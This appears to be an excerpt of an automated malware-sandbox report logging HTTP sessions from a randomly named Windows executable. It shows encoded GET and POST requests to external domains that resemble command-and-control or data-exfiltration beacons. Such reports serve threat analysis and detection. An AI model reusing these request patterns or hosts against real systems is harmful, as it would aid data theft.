Sep 11, 2024 11:18:26.797095060 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Sep 2024 09:18:26 GMT Server: Apache Content-Length: 32106 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Fables"> <meta name="author" content="Enterprise Development"> <link rel="shortcut icon" href="assets/custom/images/shortcut.png"> <title> 404</title> ... animate.css--> <link href="assets/vendor/animate.css-master/animate.min.css" rel="stylesheet"> ... Load Screen --> <link href="assets/vendor/loadscreen/css/spinkit.css" rel="stylesheet"> ... GOOGLE FONT --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i" rel="stylesheet"> ... Font Awesome 5 --> <link href="assets/vendor/fontawesome/css/fontawesome-all.min.css" rel="stylesheet"> ... Fables Icons --> <link href="assets/custom/css/fables-icons.css" rel="stylesheet"> ... Bootstrap CSS --> <link href="assets/vendor/bootstrap/css/boo [TRUNCATED]
Sep 11, 2024 11:18:26.797116041 CEST	224	IN	Data Raw: 62 6f 6f 74 73 74 72 61 70 2d 34 2d 6e 61 76 62 61 72 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 41 4e 43 59 20 42 4f 58 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 Data Ascii: bootstrap-4-navbar.css" rel="stylesheet"> ... FANCY BOX --> <link href="assets/vendor/fancybox-master/jquery.fancybox.min.css" rel="stylesheet"> ... OWL CAROUSEL --> <link href="assets/vendor/owlcarousel/o
Sep 11, 2024 11:18:26.797132969 CEST	1236	IN	Data Raw: 77 6c 2e 63 61 72 6f 75 73 65 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6f 77 6c 63 61 72 6f 75 73 65 6c 2f 6f Data Ascii: wl.carousel.min.css" rel="stylesheet"> <link href="assets/vendor/owlcarousel/owl.theme.default.min.css" rel="stylesheet"> ... Timeline --> <link rel="stylesheet" href="assets/vendor/timeline/timeline.css"> ... FABLES CUSTOM C
Sep 11, 2024 11:18:26.797148943 CEST	1236	IN	Data Raw: 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 2d 63 68 69 6c 64 20 73 6b 2d 64 6f 75 62 6c 65 2d 62 6f 75 6e 63 65 31 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 2d 63 68 69 6c 64 20 73 6b 2d 64 6f 75 62 6c 65 2d 62 Data Ascii: div class="sk-child sk-double-bounce1"></div> <div class="sk-child sk-double-bounce2"></div> </div></div>... Start Top Header --><div class="fables-forth-background-color fables-top-header-signin"> <div class="container">
Sep 11, 2024 11:18:26.797164917 CEST	1236	IN	Data Raw: 3e 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f Data Ascii: > </div> </div> </div> <div class="col-12 col-sm-5 col-lg-4 text-right"> <p class="fables-third-text-color font-13"><span class="fables-iconphone"></sp
Sep 11, 2024 11:18:26.797220945 CEST	672	IN	Data Raw: 76 44 72 6f 70 64 6f 77 6e 22 20 61 72 69 61 2d 63 6f 6e 74 72 6f 6c 73 3d 22 66 61 62 6c 65 73 4e 61 76 44 72 6f 70 64 6f 77 6e 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 3d 22 66 61 6c 73 65 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 54 6f 67 Data Ascii: vDropdown" aria-controls="fablesNavDropdown" aria-expanded="false" aria-label="Toggle navigation"> <span class="fables-iconmenu-icon text-white font-16"></span> </button>
Sep 11, 2024 11:18:26.798088074 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 48 6f 6d 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: Home </a> <ul class="dropdown-menu" aria-labelledby="sub-nav1"> <li><a class="dropdown-item" href="home1.html">Ho
Sep 11, 2024 11:18:26.798104048 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 22 3e 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <ul class="dropdown-menu"> <li><a class="dropdown-item dropdown-toggle" href="#">Header 1</a> <ul class="dropdown-menu
Sep 11, 2024 11:18:26.798120022 CEST	448	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 20 68 Data Ascii: <li><a class="dropdown-item" href="header2-light.html">Header 2 Light</a></li> <li><a class="dropdown-item" href="header2-dark.html
Sep 11, 2024 11:18:26.798264027 CEST	1236	IN	Data Raw: 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 22 20 68 72 65 66 3d 22 23 22 3e 48 65 61 64 65 72 20 33 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: lass="dropdown-item dropdown-toggle" href="#">Header 3</a> <ul class="dropdown-menu"> <li><a class="dropdown-item" href="header
Sep 11, 2024 11:18:26.802201986 CEST	1236	IN	Data Raw: 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 20 68 72 65 66 3d 22 68 65 61 64 65 72 34 2d 64 61 72 6b 2e 68 74 6d 6c 22 3e 48 65 61 64 65 72 20 34 20 44 61 72 6b 3c 2f 61 3e 3c 2f 6c 69 3e 0a Data Ascii: <li><a class="dropdown-item" href="header4-dark.html">Header 4 Dark</a></li> </ul> </li>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	63332	67.223.117.189	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:18:28.747967958 CEST	499	OUT	GET /fava/?pP_8=GCDZpLqdSYk7fT5CRgwCB4qcStchn8AdfdSMH3wAhEJHSlsoeLITVJbnCwS/lbUV+KMqaRxHJZIr2IJ0lKwQCgtKpqiTYCqf8kUZvClY0WdZB6RiKYyZbbU=&V0Qh=4pBta8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.heldhold.xyz Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 11, 2024 11:18:29.321966887 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Sep 2024 09:18:29 GMT Server: Apache Content-Length: 32106 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Fables"> <meta name="author" content="Enterprise Development"> <link rel="shortcut icon" href="assets/custom/images/shortcut.png"> <title> 404</title> ... animate.css--> <link href="assets/vendor/animate.css-master/animate.min.css" rel="stylesheet"> ... Load Screen --> <link href="assets/vendor/loadscreen/css/spinkit.css" rel="stylesheet"> ... GOOGLE FONT --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i" rel="stylesheet"> ... Font Awesome 5 --> <link href="assets/vendor/fontawesome/css/fontawesome-all.min.css" rel="stylesheet"> ... Fables Icons --> <link href="assets/custom/css/fables-icons.css" rel="stylesheet"> ... Bootstrap CSS --> <link href="assets/vendor/bootstrap/css/boo [TRUNCATED]
Sep 11, 2024 11:18:29.322052956 CEST	1236	IN	Data Raw: 2f 62 6f 6f 74 73 74 72 61 70 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2d 34 2d 6e 61 76 62 61 72 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 41 4e 43 59 20 42 4f 58 20 2d 2d 3e 0a 20 20 Data Ascii: /bootstrap/css/bootstrap-4-navbar.css" rel="stylesheet"> ... FANCY BOX --> <link href="assets/vendor/fancybox-master/jquery.fancybox.min.css" rel="stylesheet"> ... OWL CAROUSEL --> <link href="assets/vendor/owlcarousel/owl.c
Sep 11, 2024 11:18:29.322088003 CEST	1236	IN	Data Raw: 73 70 61 72 65 6e 74 20 74 65 78 74 2d 77 68 69 74 65 22 3e 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 73 65 61 72 63 68 22 3e 3c 2f 69 3e 20 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 Data Ascii: sparent text-white"> <i class="fas fa-search"></i> </button> </div> </div> </form> </div> </div>... Loading Screen --><div id="ju-loading-screen"> <div class="sk-double-bounce"> <div
Sep 11, 2024 11:18:29.322185040 CEST	1236	IN	Data Raw: 6c 61 73 73 3d 22 6d 72 2d 31 22 3e 20 45 6e 67 6c 69 73 68 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 20 77 68 69 74 65 2d 63 6f 6c Data Ascii: lass="mr-1"> English</a> <a class="dropdown-item white-color font-13 fables-second-hover-color" href="#"> <img src="assets/custom/images/France.png" alt="england flag" class="mr-1"> French</a>
Sep 11, 2024 11:18:29.322218895 CEST	896	IN	Data Raw: 64 20 70 6c 2d 30 22 20 68 72 65 66 3d 22 69 6e 64 65 78 2e 68 74 6d 6c 22 3e 3c 69 6d 67 20 73 72 63 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 66 61 62 6c 65 73 2d 6c 6f 67 6f 2e 70 6e 67 22 20 61 6c 74 3d 22 46 61 62 Data Ascii: d pl-0" href="index.html"><img src="assets/custom/images/fables-logo.png" alt="Fables Template" class="fables-logo"></a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#fablesNavDro
Sep 11, 2024 11:18:29.322294950 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 48 6f 6d 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: Home </a> <ul class="dropdown-menu" aria-labelledby="sub-nav1"> <li><a class="dropdown-item" href=
Sep 11, 2024 11:18:29.322326899 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 22 3e 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <ul class="dropdown-menu"> <li><a class="dropdown-item dropdown-toggle" href="#">Header 1</a> <ul class
Sep 11, 2024 11:18:29.322401047 CEST	448	IN	Data Raw: 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 Data Ascii: ></li> <li><a class="dropdown-item" href="header2-light.html">Header 2 Light</a></li> <li><a class="dropdown-item" href="he
Sep 11, 2024 11:18:29.322433949 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 22 20 68 72 65 66 3d 22 23 22 3e 48 65 61 64 65 72 20 33 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <li><a class="dropdown-item dropdown-toggle" href="#">Header 3</a> <ul class="dropdown-menu"> <li><a class="dropdown-ite
Sep 11, 2024 11:18:29.322508097 CEST	224	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 20 68 72 65 66 3d 22 68 65 61 64 65 72 34 2d 64 61 72 6b 2e 68 74 6d 6c 22 3e 48 65 61 64 65 72 20 34 Data Ascii: <li><a class="dropdown-item" href="header4-dark.html">Header 4 Dark</a></li> </ul> </li>
Sep 11, 2024 11:18:29.327617884 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 20 64 72 6f 70 64 6f 77 6e 2d Data Ascii: <li><a class="dropdown-item dropdown-toggle" href="#">Header 5</a> <ul class="dropdown-menu">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	63333	147.92.40.175	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:18:35.220805883 CEST	760	OUT	POST /5o7d/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.63582.photo Origin: http://www.63582.photo Content-Length: 201 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.63582.photo/5o7d/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 2b 4f 32 78 66 51 56 4c 44 65 57 6a 5a 6b 34 65 2b 4d 76 58 6b 71 6c 63 54 2f 52 76 78 35 33 33 4e 69 4b 35 58 57 35 57 6e 52 38 45 4d 43 63 43 6c 61 6c 63 76 58 6f 62 2b 73 69 72 50 51 47 50 66 43 70 42 74 6f 46 50 54 42 6c 4b 54 62 73 6d 56 65 32 41 78 42 30 63 31 59 71 31 61 6e 79 6b 71 4b 32 37 70 33 61 76 32 2f 56 7a 55 73 58 64 77 75 5a 2b 58 70 38 71 4e 70 75 47 46 57 74 75 62 67 72 57 45 4e 6e 6d 7a 57 4d 63 61 73 4b 56 54 75 4b 4c 33 47 33 2f 39 6f 31 45 56 5a 59 5a 6e 47 50 65 64 46 44 50 7a 34 77 68 77 72 35 51 6a 70 42 41 52 4f 64 2b 49 39 5a 36 57 32 55 55 39 67 3d 3d Data Ascii: pP_8=+O2xfQVLDeWjZk4e+MvXkqlcT/Rvx533NiK5XW5WnR8EMCcClalcvXob+sirPQGPfCpBtoFPTBlKTbsmVe2AxB0c1Yq1anykqK27p3av2/VzUsXdwuZ+Xp8qNpuGFWtubgrWENnmzWMcasKVTuKL3G3/9o1EVZYZnGPedFDPz4whwr5QjpBAROd+I9Z6W2UU9g==
Sep 11, 2024 11:18:36.080634117 CEST	357	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 11 Sep 2024 09:18:35 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.63582.photo/5o7d/ Server: 8080 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	63334	147.92.40.175	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:18:37.765835047 CEST	780	OUT	POST /5o7d/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.63582.photo Origin: http://www.63582.photo Content-Length: 221 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.63582.photo/5o7d/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 2b 4f 32 78 66 51 56 4c 44 65 57 6a 59 45 6f 65 2f 72 44 58 73 71 6c 66 63 66 52 76 2f 70 33 7a 4e 69 4f 35 58 58 39 34 67 6b 4d 45 43 44 73 43 72 37 6c 63 71 58 6f 62 77 4d 69 75 42 77 47 49 66 43 56 7a 74 6f 4a 50 54 46 4e 4b 54 61 63 6d 57 70 43 44 78 52 30 65 36 34 71 33 56 48 79 6b 71 4b 32 37 70 30 6d 46 32 2f 4e 7a 55 64 48 64 78 4d 78 39 61 4a 38 70 64 35 75 47 4f 32 74 69 62 67 72 30 45 49 2f 41 7a 55 30 63 61 70 75 56 51 36 65 49 69 32 33 35 7a 49 31 4b 55 63 6c 54 69 6c 4b 58 44 30 48 76 73 59 45 6a 78 74 6f 4b 79 59 67 58 44 4f 35 4e 56 36 51 4f 62 31 70 64 6d 6d 2b 43 56 47 32 42 78 4b 6f 72 2b 62 76 4b 42 30 2b 51 31 77 59 3d Data Ascii: pP_8=+O2xfQVLDeWjYEoe/rDXsqlfcfRv/p3zNiO5XX94gkMECDsCr7lcqXobwMiuBwGIfCVztoJPTFNKTacmWpCDxR0e64q3VHykqK27p0mF2/NzUdHdxMx9aJ8pd5uGO2tibgr0EI/AzU0capuVQ6eIi235zI1KUclTilKXD0HvsYEjxtoKyYgXDO5NV6QOb1pdmm+CVG2BxKor+bvKB0+Q1wY=
Sep 11, 2024 11:18:38.649354935 CEST	357	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 11 Sep 2024 09:18:38 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.63582.photo/5o7d/ Server: 8080 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	63335	147.92.40.175	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:18:40.318083048 CEST	10862	OUT	POST /5o7d/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.63582.photo Origin: http://www.63582.photo Content-Length: 10301 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.63582.photo/5o7d/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 2b 4f 32 78 66 51 56 4c 44 65 57 6a 59 45 6f 65 2f 72 44 58 73 71 6c 66 63 66 52 76 2f 70 33 7a 4e 69 4f 35 58 58 39 34 67 6b 45 45 43 78 6b 43 72 59 4e 63 74 58 6f 62 75 63 69 76 42 77 47 5a 66 43 4d 36 74 6f 31 66 54 48 46 4b 54 34 55 6d 43 4e 65 44 2b 52 30 65 78 59 71 32 61 6e 7a 6b 71 4a 4f 6e 70 30 32 46 32 2f 4e 7a 55 65 50 64 32 65 5a 39 4a 35 38 71 4e 70 75 42 46 57 74 4f 62 6b 50 4f 45 4a 4c 50 7a 6e 38 63 5a 4a 2b 56 41 63 69 49 67 57 33 37 2b 6f 30 4d 55 63 68 51 69 6d 75 78 44 30 7a 4a 73 62 59 6a 78 4a 52 4a 72 4c 55 32 51 75 78 53 42 37 6f 79 55 57 52 4e 6e 32 65 74 54 55 32 63 73 65 31 48 38 35 2f 48 55 31 36 6b 69 48 62 7a 51 76 68 59 67 4e 46 55 51 58 63 65 58 50 38 39 63 53 68 52 45 6d 6d 33 37 36 66 41 70 51 2b 4b 79 71 49 48 37 72 4f 4c 6a 54 65 58 4e 6c 39 42 6f 57 6e 45 52 75 43 58 5a 71 70 6d 38 6b 62 57 2f 59 4e 71 65 57 70 70 48 55 43 32 7a 39 42 6d 44 33 62 49 49 55 79 59 4d 5a 34 78 77 7a 73 31 50 7a 71 70 59 45 79 76 76 4d 79 62 38 7a 68 72 42 63 39 39 47 [TRUNCATED] Data Ascii: pP_8=+O2xfQVLDeWjYEoe/rDXsqlfcfRv/p3zNiO5XX94gkEECxkCrYNctXobucivBwGZfCM6to1fTHFKT4UmCNeD+R0exYq2anzkqJOnp02F2/NzUePd2eZ9J58qNpuBFWtObkPOEJLPzn8cZJ+VAciIgW37+o0MUchQimuxD0zJsbYjxJRJrLU2QuxSB7oyUWRNn2etTU2cse1H85/HU16kiHbzQvhYgNFUQXceXP89cShREmm376fApQ+KyqIH7rOLjTeXNl9BoWnERuCXZqpm8kbW/YNqeWppHUC2z9BmD3bIIUyYMZ4xwzs1PzqpYEyvvMyb8zhrBc99Gi947CyIwqDA0v/MnABM6jDlCpv2c8Wc3/fGpQUFFVfXVdt+UXFKl0iWOcwEnO1tapsKxTEsZUvJbkceg8lYrwRgdKcw+sudFTFXuJV2WgND5x3eC4YhblJpiHUG2jTvxGoVeEBS78ezf4sG4nK3wWKJMOqF4DD2rD8X5EKSoGuWam0E2p4v4lW5r9u4e1s23Mq9KQcCu8sh88MKIpeG1h0cyc+eTmGMTwp6dNQf4YxboEH3FzGlZgPf7fCmCQ7xMI5cYgdylR8xEBhV1qag1DQcShaahRptAYtfwUpDoFl+MXdCYqPzHTastKFGKmNj1uE8zcgeByDXHvEVdLfaXIQRYQtpPEE+Cvhr3VFjlrLZEXsEeHTGFWR6A0GGIoCTasdCODC8qPhWVkw8L5KxbaGDFp7An6/0UG1kfVW9UXMRt90jKlkcjGkrn/uSOLkJcHgMfTz3kCHOqcfPZVPuwUo32hiGY0eTfpXgazTf//vdMCCpbGG7cNS/9w/xmhhxay5VWkTxH1bKpMxGm42D7yRHg3owN9u8PQqdxX1V28GAR1UX21ONOaocmhQaO8UmrNGrIBY059lp7VFYgH7dzfdMKctDBmLnophvxKfjesCWr7wp7NxCGB/q7gR7sHwzSVskzxaK70hk7dZAaIFytXDWClX8Exr6prp [TRUNCATED]
